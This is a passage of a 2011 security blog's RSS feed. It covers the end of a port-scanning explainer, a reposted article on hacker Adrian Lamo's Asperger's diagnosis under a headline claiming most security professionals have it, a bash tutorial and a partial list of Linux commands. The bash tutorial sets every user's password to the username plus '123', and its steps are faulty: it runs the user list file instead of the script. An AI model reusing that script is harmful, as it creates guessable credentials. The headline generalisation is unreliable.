The disadvantage to the attacker is that UDP is a connectionless  protocol and unlike TCP does not retransmit packet if they are lost or  dropped on the network. Moreover, it is easily detected and unreliable  (false positive). Linux kernel limit ICMP error message rates with  destination unreachable set to 80 per 4 seconds, thereafter implmenting a  1/4 second penalty if the count is exceeded. This makes the scan slow  and moreover the scan requires root access. However it avoids TCP based  IDS and can scan non-TCP ports.&lt;/li&gt;
&lt;/ul&gt;&lt;b&gt;Ethical Hacker and Scanning Tools&lt;/b&gt;&lt;br /&gt;
The most important is knowledge itself. The result of a scanner can be  misleading if the ethical hacker does not have good knowledge of common  vulnerabilities. Relying solely on the scanning tool to all threats is  not practical as the author of the vulnerability check may have written  it incorrectly. It is also likely that it was created in a controlled  environment and might not work as well in the open.&lt;br /&gt;
Besides, performing exhaustive scan against the system in a large  enterprise is usually not feasible due to network constraints, stability  of the backbone and scanned systems. Another view point is that scanner  does not have an internal view of the host audited and can miss  critical misconfiguration that result in an insecure setup, but appear  "secure" from the outside with automation   &lt;/div&gt;&lt;strong&gt;&lt;/strong&gt;  &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4232286417746899709-4364114285953743781?l=defendhackers.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/defendhackers/~4/bh8BwJDTJos" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/defendhackers/~3/bh8BwJDTJos/types-of-port-scanning-reference.html</link><author>noreply@blogger.com (h4ckfreak)</author><thr:total>0</thr:total><feedburner:origLink>http://defendhackers.blogspot.com/2011/12/types-of-port-scanning-reference.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4232286417746899709.post-5451922678510899170</guid><pubDate>Wed, 23 Nov 2011 11:39:00 +0000</pubDate><atom:updated>2011-11-23T03:44:39.776-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Tech Updates</category><category domain="http://www.blogger.com/atom/ns#">General</category><title>Most Security Proffesional Has ASPERGER Syndrome, Even Adrian Lamo Has it</title><description>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://www.wired.com/images_blogs/threatlevel/2010/05/adrian_1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="266" src="http://www.wired.com/images_blogs/threatlevel/2010/05/adrian_1.jpg" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
Last month Adrian Lamo(&lt;a href="http://en.wikipedia.org/wiki/Adrian_Lamo" target="_blank"&gt;Who is Adrian Lamo&lt;/a&gt;), a man once hunted by the FBI, did something  contrary to his nature. He says he picked up a payphone outside a  Northern California supermarket and called the cops.&lt;br /&gt;
Someone, Lamo says, had grabbed his backpack containing the  prescription anti-depressants he’d been on since 2004, the year he  pleaded guilty to hacking &lt;i&gt;The New York Times&lt;/i&gt;. He wanted his  medication back. But when the police arrived at the Safeway parking lot  it was Lamo, not the missing backpack, that interested them. Something  about his halting, monotone speech, perhaps slowed by his medication,  got the officers’ attention.&lt;br /&gt;
An ambulance arrived. “After a few moments of conversation, they just  kind of exchanged a look and told me to get on the stretcher,” says  Lamo.&lt;br /&gt;
&lt;br /&gt;
[Update : We've clarified the headline of this story, and  modified the text to clearly attribute the above details to Lamo. Since  reporting this story, we've learned from police that Lamo's initial  hospitalization in April 2010 came after Lamo's father phoned the  Sacramento County Sheriff's department three times in as many days to  report that Lamo was over-medicating with his prescription drugs, which  may have had a profound impact on his speech and coordination. The  Sheriff's office was unable to find a record of Lamo phoning the police  himself. Lamo stands by his original explanation of the incident.]&lt;br /&gt;
Thus began Lamo’s journey through California’s mental health system —  and self discovery. He was transported to a local emergency room and  put under guard, and then transferred to the Woodland Memorial Hospital  near Sacramento, where he was placed on a 72-hour involuntary  psychiatric hold under a state law allowing the temporary forced  hospitalization of those judged dangerous or unable to care for  themselves. As the staff evaluated him and adjusted his medication, a  judicial officer extended his stay, and three days became nine.&lt;br /&gt;
When Lamo was finally discharged to his parents’ house on May 7, he  left the hospital with a new diagnosis. At 29 years old Lamo learned he  has Asperger’s Disorder.&lt;br /&gt;
&lt;div id="embed" style="float: left; height: auto; padding: 5px; width: 60px;"&gt;&lt;br /&gt;
&lt;/div&gt;“It’s kind of a surprise that it took me until almost 30 to find I  had a particular disorder and get proper treatment for it,” Lamo says.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Sometimes called the “geek syndrome",(&lt;a href="http://www.time.com/time/magazine/article/0,9171,1002365,00.html" target="_blank"&gt;Click Me to Find More About Geek Syndrome&lt;/a&gt;)”  Asperger’s is a mild form of autism that makes social interactions  difficult, and can lead to obsessive, highly focused behavior.&lt;br /&gt;
There are no reliable figures on how many people have Asperger’s, but  anecdotally a lot of them are drawn into the computer field,  particularly the logic-heavy world of coding. BitTorrent creator Bram  Cohen has diagnosed himself with the disorder, and Microsoft founder  Bill Gates is frequently speculated to have it.&lt;br /&gt;
Also anecdotally, people with Asperger’s are frequently diagnosed in  adulthood, even into their 50s, according to the U.S. Autism and  Asperger’s Association. As in Lamo’s case, the diagnosis often follows a  run-in with the police, says Dennis Debbaudt, an independent consultant  who trains law enforcement agencies on interacting with people on the  autistic spectrum.&lt;br /&gt;
“They may be living a life where people think they’re odd, they’re  unusual, they’re eccentric, whatever you want to call it,” says   Debbaudt. “But nobody’s thinking, ‘Oh, by the way, I think they have  Asperger’s Syndrome.’ It’s not something that would pop into the mind of  the general person or law enforcement. It’s just, ‘There’s something  different here. This person communicates different. His body language is  different.’”&lt;br /&gt;
The Asperger’s diagnosis, though, didn’t come as a complete surprise  to Lamo or his family — the therapist Lamo had been seeing for  depression had already suggested he visit a specialist to be evaluated  for Asperger’s. Now, the new medication prescribed in Woodland has made a  positive change in his interactions with other people.&lt;br /&gt;
“Talking to strangers was really hard for me,” Lamo says. “I had to  script it all in my head and act out normal behaviors in a very  conscious way. Essentially, I had to learn how human beings act.”&lt;br /&gt;
&lt;span id="more-16327"&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div class="wp-caption alignnone" id="attachment_16330" style="width: 670px;"&gt;&lt;a href="http://www.wired.com/images_blogs/threatlevel/2010/05/adrian_2.jpg"&gt;&lt;img alt="" class="size-full wp-image-16330" height="440" src="http://www.wired.com/images_blogs/threatlevel/2010/05/adrian_2.jpg" title="adrian_2" width="660" /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;div class="wp-caption-text"&gt;Adrian  Lamo at the home of his parents in Carmichael, California, five days  after his release from an involuntary psychiatric hold. &lt;/div&gt;&lt;/div&gt;“Now I no longer feel there’s a surface tension that I have to break  through when I talk to somebody, like I’m a fish going after a  particularly tasty bug and I have to break through the water to get it,”  he continues. “I just talk to somebody, like it’s a natural function.”&lt;br /&gt;
To a reporter who’s been covering Lamo for a decade, the diagnosis makes a layman’s instant, intuitive sense.&lt;br /&gt;
Lamo made his mark in the early 2000s with a string of brazen but mostly harmless hacks  against large companies, conducted out in the open and with a striking  naiveté as to the inevitable consequences for himself. In 2001, when he  was 20, Lamo snuck into an unprotected content-management tool at  Yahoo’s news site to tinker with a Reuters story, adding a made-up quote  by then-Attorney General John Ashcroft.&lt;br /&gt;
Lamo’s other targets included WorldCom, Excite@Home and Microsoft; he  alerted the press to each intrusion, and sometimes worked with the  hacked company to close the security holes he’d exploited. Unemployed at  the time, and prone to wander the country by Greyhound, he was given  the appellation “the Homeless Hacker” by the media.&lt;br /&gt;
His hacking career ended around 2002, after Lamo penetrated the internal network of &lt;i&gt;The New York Times&lt;/i&gt;  and added himself to the paper’s database of op-ed contributors,  putting himself in the virtual company of William F. Buckley Jr. and  Jimmy Carter. The &lt;i&gt;Times &lt;/i&gt;didn’t think it was funny, and the FBI  and federal prosecutors in New York charged Lamo under the Computer  Fraud and Abuse Act. He pleaded guilty in 2004, and was sentenced to six  months of house arrest at his parents’ home in Carmichael, California,  followed by two years of probation.&lt;br /&gt;
It was around that time that Lamo fell into a deep depression that  has dogged him until last month. “I’d associated his depression with  what had happened with the FBI,” says his father, Mario Lamo, who  describes his son as having had a normal childhood. “As a child he would  give speeches to people and entertain visitors and talk about a  thousand things, and we didn’t notice anything irregular,” he says.&lt;br /&gt;
But as a teenager, Lamo began struggling in social situations. Since  his discharge from Woodland, “I’ve noticed an incredible difference,”  says the senior Lamo.&lt;br /&gt;
Lamo joins a growing list of computer intruders who’ve been diagnosed  with Asperger’s, though usually the diagnosis comes when the hacker  faces the criminal justice system for the first time, rather than six  years later.&lt;br /&gt;
In December, a defense psychiatrist concluded that credit card thief Albert Gonzalez exhibited behavior  consistent with Asperger’s. A government-appointed psychiatrist  rejected the claim, and Gonzalez got 20 years. Earlier, in August, a Los  Angeles computer intruder involved in a lucrative fraud scheme received  a slightly reduced sentence because of his Asperger’s, which his lawyer argued made him vulnerable to  manipulation by the ringleader in the scheme.&lt;br /&gt;
In the most high-profile case, the British hacker Gary McKinnon was  diagnosed with Asperger’s at the age of 42, shortly after losing a legal  challenge to an extradition order that would have sent him to America  to face charges of sabotaging unclassified Pentagon computers. The  diagnosis opened new legal avenues for McKinnon, who now appears likely  to avoid extradition.&lt;br /&gt;
For his part, Lamo thinks Asperger’s might explain his knack for  slipping into corporate networks — he usually operated with little more  than a web browser and a lot of hunch work. “I have always maintained  that what I did isn’t necessarily technical, it’s about seeing things  differently,” he says. “So if my brain is wired differently, that makes  sense.”&lt;br /&gt;
But he scoffs at the notion that Asperger’s should mitigate the  consequences of illegal behavior. Asperger’s might help explain his  success in hacking, but not his willingness to do it, he says. “If, in  fact, the diagnosis is accurate, it had zip to do with my actions at  that time.”&lt;br /&gt;
While Lamo thinks he shouldn’t have been confined against his will,  he says most of the hospital staff were well-intentioned and  professional, and he’s been happier since the incident. “Many of them  were beautiful people who had a great deal of genuine concern for their  patients, and I feel that I benefited from their attention,” he says.&lt;br /&gt;
He tried to help them, as well. After the staff discovered his  hacking past, they began seeking him out for computer advice. “The  questions changed from, ‘Do you know where you are? What’s today’s  date?,’ to, ‘Hey, I have a Mac.”&lt;br /&gt;
“They also untaped the login and password from the state mental health-database terminal at a nurse’s station,” he adds.&lt;br /&gt;
Today, he says, “I feel less sedated, more social, and I feel better  able to carry out the day-to-day functions of the average member of  society.&lt;br /&gt;
“I still can’t say if the situation were to be repeated back at the  Safeway, that they wouldn’t look at me and say, ‘Yeah, yeah, better get  him in.’”&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
i Guess i have it ..!! Check with yours with the Facts, I Confirmed after reading Wikipedia Article Chek em Out:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;a href="http://en.wikipedia.org/wiki/Asperger%27s_Syndrome" target="_blank"&gt;Asperger Syndrome&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Happy Hacking &amp;amp; Keep Hunting &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4232286417746899709-5451922678510899170?l=defendhackers.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/defendhackers/~4/h1rr0TBUj7E" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/defendhackers/~3/h1rr0TBUj7E/most-security-proffesional-has-asperger.html</link><author>noreply@blogger.com (h4ckfreak)</author><thr:total>0</thr:total><feedburner:origLink>http://defendhackers.blogspot.com/2011/11/most-security-proffesional-has-asperger.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4232286417746899709.post-861407292823409891</guid><pubDate>Fri, 21 Oct 2011 12:50:00 +0000</pubDate><atom:updated>2011-10-21T05:50:32.884-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Tutorials</category><title>Create a User Acc Using Bash Script in Linux</title><description>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-Pv0bYPpm_yE/TqFqDypP1xI/AAAAAAAAAVc/TlpBIqsTUMA/s1600/60.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="400" src="http://2.bp.blogspot.com/-Pv0bYPpm_yE/TqFqDypP1xI/AAAAAAAAAVc/TlpBIqsTUMA/s400/60.jpg" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
These two scripts are very important for the system admin who regularly  works with mail servers and somehow forgets to backup his system  username and password! Let’s say somehow we lost the usernames and passwords of the mail server. In this case the admin has  to manually create all the users and then change the passwords for  all the users. Tedious job. Let’s make our life easier.&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;Before we jump in , For those who dont who kno what Bash file and how to create that ? click the link for refrence&amp;nbsp; &lt;a href="http://tldp.org/LDP/Bash-Beginners-Guide/html/Bash-Beginners-Guide.html"&gt;Bash Guide&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
First create a file which contains all the user name. Something like  this:&lt;br /&gt;
&lt;pre&gt;INFILTRATOR
SUREN GREY HAT
WILL MATHEWS
jOSHUSA
pHIL&amp;nbsp;&lt;/pre&gt;&lt;pre&gt;Risab Dang &lt;/pre&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Save the file as &lt;span class="system"&gt;userlist.txt&lt;/span&gt;. Now  create the following bash file:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;#!/bin/sh
for i in `more userlist.txt `
do
echo $i
adduser $i
done&lt;/pre&gt;Save the file and exit.&lt;br /&gt;
&lt;div class="command"&gt;chmod 755 userlist.txt&lt;/div&gt;&lt;div class="command"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="command"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="command"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="command"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="command"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="command"&gt;ow run the file: &lt;/div&gt;&lt;div class="command"&gt;./userlist.txt&lt;/div&gt;This will add all the users to the system. Now we have to change the  passwords. Let's say we want &lt;span class="system"&gt;username123&lt;/span&gt; as password. So for user SUREN GREY HAT the password will be &lt;span class="system"&gt;suren123&lt;/span&gt;, &lt;span class="system"&gt;rubi123&lt;/span&gt; for user &lt;span class="system"&gt;rubi&lt;/span&gt; and so on.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Create another bash file as follows:&lt;br /&gt;
&lt;pre&gt;#!/bin/sh
for i in `more userlist.txt `
do
echo $i
echo $i"123" | passwd –-stdin "$i"
echo; echo "User $username’s password changed!"
done&lt;/pre&gt;Run the file. All the passwords are changed.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Thanks &lt;br /&gt;
&lt;div class="command"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4232286417746899709-861407292823409891?l=defendhackers.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/defendhackers/~4/bBHjRiZoLvM" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/defendhackers/~3/bBHjRiZoLvM/create-user-acc-using-bash-script-in.html</link><author>noreply@blogger.com (h4ckfreak)</author><media:thumbnail url="http://2.bp.blogspot.com/-Pv0bYPpm_yE/TqFqDypP1xI/AAAAAAAAAVc/TlpBIqsTUMA/s72-c/60.jpg" height="72" width="72" /><thr:total>2</thr:total><feedburner:origLink>http://defendhackers.blogspot.com/2011/10/create-user-acc-using-bash-script-in.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4232286417746899709.post-7298910190354806015</guid><pubDate>Fri, 21 Oct 2011 12:40:00 +0000</pubDate><atom:updated>2011-10-21T05:40:00.734-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Tutorials</category><title>Linux Commands For Beginners</title><description>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-XOq8NG-5Ygw/TqFoEKgBn7I/AAAAAAAAAVU/f2xEHwX4shE/s1600/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="192" src="http://4.bp.blogspot.com/-XOq8NG-5Ygw/TqFoEKgBn7I/AAAAAAAAAVU/f2xEHwX4shE/s400/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
This short guide shows some important commands for your daily work on the Linux command line.&lt;br /&gt;
&lt;h3&gt;arch&lt;/h3&gt;Outputs the processor architecture. &lt;div class="command"&gt;$ arch&lt;/div&gt;&lt;div class="system"&gt;i686&lt;/div&gt;&lt;h3&gt;cat&lt;/h3&gt;Outputs the contents of a file. &lt;div class="command"&gt;$ cat lorem.txt&lt;/div&gt;&lt;div class="system"&gt;Lorem ipsum dolor sit amet, consectetur adipisicing  elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.  Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi  ut aliquip ex ea commodo consequat. Duis aute irure dolor in  reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla  pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa  qui officia deserunt mollit anim id est laborum. &lt;/div&gt;&lt;h3&gt;cd&lt;/h3&gt;Change the working directory. &lt;div class="command"&gt;$ cd /bin&lt;/div&gt;&lt;h3&gt;chgrp&lt;/h3&gt;Change group ownership of files. &lt;div class="command"&gt;$ chgrp games moo.txt&lt;/div&gt;&lt;h3&gt;chmod&lt;/h3&gt;Change access permissions of files. &lt;div class="command"&gt;$ chmod +x helloworld&lt;/div&gt;&lt;h3&gt;chown&lt;/h3&gt;Change file owner and group. &lt;div class="command"&gt;# chown root lorem.txt&lt;/div&gt;&lt;h3&gt;cksum&lt;/h3&gt;Print CRC checksum and byte counts of each file. &lt;div class="command"&gt;$ cksum lorem.txt moo.txt&lt;/div&gt;&lt;div class="system"&gt;3570240675 453 lorem.txt&lt;br /&gt;
4294967295 0 moo.txt&lt;/div&gt;&lt;h3&gt;cp&lt;/h3&gt;Copies a file. &lt;div class="command"&gt;$ cp lorem.txt copy_of_lorem.txt&lt;/div&gt;&lt;h3&gt;date&lt;/h3&gt;Outputs the current date and time. &lt;div class="command"&gt;$ date&lt;/div&gt;&lt;div class="system"&gt;Sat Mar &amp;nbsp;3 12:07:09 GMT 2007&lt;/div&gt;&lt;h3&gt;df&lt;/h3&gt;Reports the amount of disk space used and available on filesystems. &lt;div class="command"&gt;$ df&lt;/div&gt;&lt;div class="system"&gt;Filesystem&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;1K-blocks&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Used&amp;nbsp;Available&amp;nbsp;Use%&amp;nbsp;Mounted&amp;nbsp;on&amp;lt;br&amp;gt;&lt;br /&gt;
/dev/simfs&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;39845888&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;218048&amp;nbsp;&amp;nbsp;39627840&amp;nbsp;&amp;nbsp;&amp;nbsp;1%&amp;nbsp;/ &lt;/div&gt;&lt;h3&gt;dir&lt;/h3&gt;List directory contents. &lt;div class="command"&gt;$ dir&lt;/div&gt;&lt;div class="system"&gt;copy_of_lorem.txt &amp;nbsp;lorem.txt &amp;nbsp;moo.txt &amp;nbsp;www&lt;/div&gt;&lt;h3&gt;du&lt;/h3&gt;Estimate file space usage. &lt;div class="command"&gt;$ du -h /bin&lt;/div&gt;&lt;div class="system"&gt;7.8M&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;/bin&lt;/div&gt;&lt;h3&gt;echo&lt;/h3&gt;Display a line of text. &lt;div class="command"&gt;$ echo foobar&lt;/div&gt;&lt;div class="system"&gt;foobar&lt;/div&gt;&lt;h3&gt;exit&lt;/h3&gt;Cause the shell to exit. &lt;div class="command"&gt;$ exit&lt;/div&gt;&lt;h3&gt;fgrep&lt;/h3&gt;Print lines matching a pattern in a file. &lt;div class="command"&gt;$ fgrep "irure dolor" lorem.txt&lt;/div&gt;&lt;div class="system"&gt;commodo consequat. Duis aute irure dolor in reprehenderit in voluptate&lt;/div&gt;&lt;h3&gt;find&lt;/h3&gt;Search for files in a directory hierarchy. &lt;div class="command"&gt;$ find hello*&lt;/div&gt;&lt;div class="system"&gt;hello_world&lt;br /&gt;
hello_world.c&lt;/div&gt;&lt;h3&gt;free&lt;/h3&gt;Display amount of free and used memory in the system. &lt;div class="command"&gt;$ free&lt;/div&gt;&lt;div class="system"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; total&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; used&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; free&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; shared&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;buffers&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; cached&lt;br /&gt;
Mem:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 8299892&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;8287708&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;12184&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;2641772&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;1731236&lt;br /&gt;
Low:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 3581300&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;3572764&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 8536&lt;br /&gt;
High:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;4718592&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;4714944&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 3648&lt;br /&gt;
-/+ buffers/cache:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;3914700&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;4385192&lt;br /&gt;
Swap:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;8193140&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;2335664&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;5857476&lt;/div&gt;&lt;h3&gt;grep&lt;/h3&gt;Print lines matching a pattern. &lt;div class="command"&gt;$ grep -i apple fruitlist.txt&lt;/div&gt;&lt;div class="system"&gt;apple&lt;/div&gt;&lt;h3&gt;groups&lt;/h3&gt;Outputs the user groups of which your account belongs to. &lt;div class="command"&gt;$ groups&lt;/div&gt;&lt;div class="system"&gt;games users&lt;/div&gt;&lt;h3&gt;head&lt;/h3&gt;Output the first part of files. &lt;div class="command"&gt;$ head -2 lorem.txt&lt;/div&gt;&lt;div class="system"&gt;Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod&lt;br /&gt;
tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim&lt;/div&gt;&lt;h3&gt;hostname&lt;/h3&gt;Outputs the machines hostname on the network. &lt;div class="command"&gt;$ hostname&lt;/div&gt;&lt;div class="system"&gt;anapnea.net&lt;/div&gt;&lt;h3&gt;id&lt;/h3&gt;Outputs user id, group id, and groups of your account. &lt;div class="command"&gt;$ id&lt;/div&gt;&lt;div class="system"&gt;uid=1478(smallfoot) gid=100(users) groups=35(games),100(users)&lt;/div&gt;&lt;h3&gt;kill&lt;/h3&gt;End a process. &lt;div class="command"&gt;$ kill -9 18298&lt;/div&gt;&lt;div class="system"&gt;-bash: kill: (18298) - Operation not permitted&lt;/div&gt;&lt;h3&gt;killall&lt;/h3&gt;Kill processes by name. &lt;div class="command"&gt;$ killall irssi&lt;/div&gt;&lt;div class="system"&gt;irssi(18298): Operation not permitted&lt;br /&gt;
irssi(13372): Operation not permitted&lt;br /&gt;
irssi(22048): Operation not permitted&lt;br /&gt;
irssi: no process killed&lt;/div&gt;&lt;h3&gt;last&lt;/h3&gt;Show listing of last logged in users. &lt;div class="command"&gt;$ last -n 3&lt;/div&gt;&lt;div class="system"&gt;alice&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;pts/6&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;192.0.34.166&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Fri May 18 16:17&amp;nbsp;&amp;nbsp; still logged in&lt;br /&gt;
bob&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;pts/2&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;64.233.183.103&amp;nbsp;&amp;nbsp; Fri May 18 16:17&amp;nbsp;&amp;nbsp; still logged in&lt;br /&gt;
clare&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;pts/6&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;72.5.124.61&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Fri May 18 15:54 - 15:55&amp;nbsp;&amp;nbsp;(00:01)&lt;/div&gt;&lt;h3&gt;ldd&lt;/h3&gt;Print shared library dependencies. &lt;div class="command"&gt;$ ldd /bin/bash&lt;/div&gt;&lt;div class="system"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;libncurses.so.5 =&amp;gt; /lib/libncurses.so.5 (0x40023000)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;libdl.so.2 =&amp;gt; /lib/libdl.so.2 (0x40065000)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;libc.so.6 =&amp;gt; /lib/libc.so.6 (0x40069000)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;/lib/ld-linux.so.2 (0x40000000)&lt;/div&gt;&lt;h3&gt;ln&lt;/h3&gt;Make links between files. &lt;div class="command"&gt;$ ln -s data.txt symlink.txt&lt;/div&gt;&lt;h3&gt;logname&lt;/h3&gt;Print user's login name. &lt;div class="command"&gt;$ logname&lt;/div&gt;&lt;div class="system"&gt;smallfoot&lt;/div&gt;&lt;h3&gt;ls&lt;/h3&gt;List directory contents. &lt;div class="command"&gt;$ ls&lt;/div&gt;&lt;div class="system"&gt;copy_of_lorem.txt &amp;nbsp;lorem.txt &amp;nbsp;moo.txt &amp;nbsp;www&lt;/div&gt;&lt;h3&gt;man&lt;/h3&gt;Opens the manual page for a software or function. &lt;div class="command"&gt;$ man bash&lt;/div&gt;&lt;h3&gt;md5sum&lt;/h3&gt;Outputs the MD5 hash sum of a file. &lt;div class="command"&gt;$ md5sum lorem.txt&lt;/div&gt;&lt;div class="system"&gt;56da9e37259af34345895883e6fd1a27&amp;nbsp;&amp;nbsp;lorem.txt&lt;/div&gt;&lt;h3&gt;mkdir&lt;/h3&gt;Makes a directory. &lt;div class="command"&gt;$ mkdir foobar&lt;/div&gt;&lt;h3&gt;mv&lt;/h3&gt;Moves a file. &lt;div class="command"&gt;$ mv lorem.txt ipsum.txt&lt;/div&gt;&lt;h3&gt;nl&lt;/h3&gt;Number lines of files.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
